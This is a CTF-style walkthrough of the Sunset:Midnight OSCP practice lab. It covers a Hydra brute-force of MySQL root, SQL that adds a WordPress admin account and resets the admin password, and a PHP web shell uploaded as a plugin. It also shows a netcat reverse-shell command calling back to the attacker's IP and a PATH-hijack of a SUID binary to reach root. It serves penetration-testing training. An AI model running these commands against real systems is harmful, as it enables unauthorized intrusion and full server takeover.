Post cover image
start with hacker

July 31, 2026

Sunset:Midnight WALKTHROUGH/writeup | PROVING GROUNDS |OSCP lab/prep

publish: 31/07/26

By CTFwriteups

8 min read

Penetration Testing Methodology

Reconnaissance

  • Perform a full TCP port scan using Nmap.
  • Enumerate web directories using ffuf.
  • Run WPScan to identify the WordPress version, enabled features, and enumerate users.

Enumeration

  • Brute-force the exposed MySQL service using the root account.
  • Extract the administrator password hash from the wp_users table.

Exploitation

  • Unable to crack the administrator password.
  • Reset the administrator password through the database (or create a new administrator account).
  • Log in to the WordPress admin panel.
  • Upload and activate a malicious plugin to achieve remote command execution.
  • Obtain an initial shell as www-data.

Privilege Escalation

  • Enumerate the filesystem and locate the WordPress installation.
  • Read wp-config.php to recover credentials for the local user jose.
  • Reuse the credentials to log in via SSH.
  • Enumerate SUID binaries and identify the vulnerable status binary.
  • Exploit the PATH hijacking vulnerability to obtain a root shell.
  • Capture the proof flag

Walkthrough

Reconnaissance

nmap -sV -Pn 192.168.108.88 -p- -A --open --min-rate 3000

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-31 11:41 +0530
Nmap scan report for 192.168.108.88
Host is up (0.14s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:fe:0b:8b:8d:15:e7:72:7e:3c:23:e5:86:55:51:2d (RSA)
|   256 fe:eb:ef:5d:40:e7:06:67:9b:63:67:f8:d9:7e:d3:e2 (ECDSA)
|_  256 35:83:68:2c:33:8b:b4:6c:24:21:20:0d:52:ed:cd:16 (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Did not follow redirect to http://sunset-midnight/
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp open  mysql   MariaDB 5.5.5-10.3.22
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 15
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, FoundRows, LongColumnFlag, InteractiveClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, ConnectWithDatabase, SupportsTransactions, IgnoreSigpipes, SupportsCompression, ODBCClient, Support41Auth, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: #%1c!wX0&kma}sHN-7i.
|_  Auth Plugin Name: mysql_native_password
Device type: general purpose
ffuf \
-u http://sunset-midnight/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sunset-midnight/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

...
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 210ms]
blog                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5695ms]
Home                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 213ms]
# Copyright 2007 James Fisher [Status: 200, Size: 61743, Words: 3801, Lines: 496, Duration: 5884ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 61743, Words: 3801, Lines: 496, Duration: 5887ms]
                        [Status: 200, Size: 61743, Words: 3801, Lines: 496, Duration: 5889ms]
rss                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6852ms]
home                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6874ms]
contact                 [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7014ms]
about                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7037ms]
#                       [Status: 200, Size: 61743, Words: 3801, Lines: 496, Duration: 7153ms]
#                       [Status: 200, Size: 61743, Words: 3801, Lines: 496, Duration: 7158ms]
h                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 297ms]
rss2                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 283ms]
Contact                 [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 601ms]
About                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 444ms]
wp-includes             [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 373ms]
C                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 276ms]
A                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
S                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 251ms]
Blog                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 225ms]
B                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 314ms]
H                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 435ms]
page2                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 322ms]
bl                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 299ms]
sa                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 314ms]
rdf                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 269ms]
page1                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 370ms]
sample                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 282ms]
co                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 268ms]
page3                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 355ms]
'                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 176ms]
page4                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 300ms]
page5                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 267ms]
page6                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 386ms]
dashboard               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 374ms]
he                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 268ms]
page7                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 225ms]
ab                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 248ms]
page10                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 186ms]
%20                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 256ms]
page8                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 310ms]
sam                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 231ms]
page9                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 231ms]
page11                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 240ms]
cont                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 243ms]
page13                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 281ms]
page12                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 363ms]
ho                      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 255ms]
coffee                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 396ms]
page15                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 384ms]
hello                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 453ms]
page14                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 313ms]
page21                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 381ms]
page18                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 178ms]
page17                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 304ms]
page16                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 360ms]
2020                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 273ms]
page19                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 275ms]
wp-admin                [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 192ms]
page20                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 360ms]
page23                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 242ms]
page26                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 448ms]
page24                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
page22                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 219ms]
page25                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 289ms]
...

no use run wpscan.

wpscan --url http://sunset-midnight --enumerate p --enumerate t --enumerate u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://sunset-midnight/ [192.168.108.88]
[+] Started: Fri Jul 31 11:44:15 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://sunset-midnight/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://sunset-midnight/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://sunset-midnight/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://sunset-midnight/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://sunset-midnight/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://sunset-midnight/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://sunset-midnight/wp-content/themes/twentyseventeen/
 | Last Updated: 2026-05-20T00:00:00.000Z
 | Readme: http://sunset-midnight/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 4.1
 | Style URL: http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:03 <===============================================================================> (10 / 10) 100.00% Time: 00:00:03

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://sunset-midnight/wp-json/wp/v2/users/?per_page=100&page=1
 |  Oembed API - Author URL (Aggressive Detection)
 |   - http://sunset-midnight/wp-json/oembed/1.0/embed?url=http://sunset-midnight/&format=json
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jul 31 11:44:34 2026
[+] Requests Done: 51
[+] Cached Requests: 9
[+] Data Sent: 13.1 KB
[+] Data Received: 653.141 KB
[+] Memory used: 209.32 MB
[+] Elapsed time: 00:00:19

then brute force in mysql service, using user root

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.108.88

paasword: robert

mysql -u root -h 192.168.108.88 "--skip-ssl" -p
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress_db       |
+--------------------+

MariaDB [(none)]> use wordpress_db;

MariaDB [(none)]> show tables;
+------------------------+
| Tables_in_wordpress_db |
+------------------------+
| wp_commentmeta         |
| wp_comments            |
| wp_links               |
| wp_options             |
| wp_postmeta            |
| wp_posts               |
| wp_sp_polls            |
| wp_term_relationships  |
| wp_term_taxonomy       |
| wp_termmeta            |
| wp_terms               |
| wp_usermeta            |
| wp_users               |
+------------------------+

MariaDB [wordpress_db]> SELECT * FROM wp_users;
+----+------------+------------------------------------+---------------+---------------------+------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url               | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+------------------------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ | admin         | example@example.com | http://sunset-midnight | 2020-07-16 19:10:47 |                     |           0 | admin        |
+----+------------+---------------------

# we are not able to crack the admin password so add the new user&pass then chnage the admin password with cristiano
MariaDB [wordpress_db]> INSERT INTO wp_users(ID,user_login,user_pass) VALUES(3,"cristiano",MD5("password"));

# then update the admin's password
MariaDB [wordpress_db]> update wp_users set user_pass="5f4dcc3b5aa765d61d8327deb882cf99" where ID=1;

— — — — — — — — — — optional — — — — — — — — — — -

You could also try giving admin privileges to cristiano by referring wp_usermeta

None 
insert into wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL,'3','wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'), (NULL,'3','wp_user_level','10');

login with admin & password in : http://sunset-midnight/wp-admin

While exploring the WordPress admin panel, I found that the Plugin Upload feature was available. Since WordPress blocks the direct upload of standalone .php files, I packaged my PHP web shell inside a plugin named shell-plugin.zip and uploaded it through the Plugins → Add New → Upload Plugin interface. After successfully installing and activating the plugin, I accessed the uploaded PHP file directly using its URL and verified code execution with curl.

curl http://sunset-midnight/wp-content/plugins/shell-plugin/shell-plugin.php?cmd=whoami
www-data

which+nc
/usr/bin/nc

Initial foothold:

so first start the listener

nc -lvnp 4444
curl http://sunset-midnight/wp-content/plugins/shell-plugin/shell-plugin.php?cmd=nc%20192.168.45.226%204444%20-e%20%2Fbin%2Fbash

During enumeration, I discovered the WordPress installation under /var/www/html. Inspecting the wp-config.php file revealed the database credentials, including the password for the user jose. I successfully authenticated to the target via SSH using these credentials.

privilege escalation:

/** MySQL database username */
define( 'DB_USER', 'jose' );

/** MySQL database password */
define( 'DB_PASSWORD', '645dc5a8871d2a42*9d4cbe23f6ae103' );   #find it yourself password is wrong
# ssh jose@192.168.108.88
jose@midnight:/etc$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/status
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

use /usr/bin/status SUID

jose@midnight:/tmp$ touch service
jose@midnight:/tmp$ echo '/bin/sh' > service
jose@midnight:/tmp$ cat service
/bin/sh
jose@midnight:/tmp$ chmod +x service
jose@midnight:/tmp$ export PATH=/tmp:$PATH
jose@midnight:/tmp$ /usr/bin/status
# id
root
# cat proof.txt
6f0f7b3351e97d7👁️29e1b935a44a7a8   #find it yourself

thanks for reading.🙏 we meet in next writeup 👀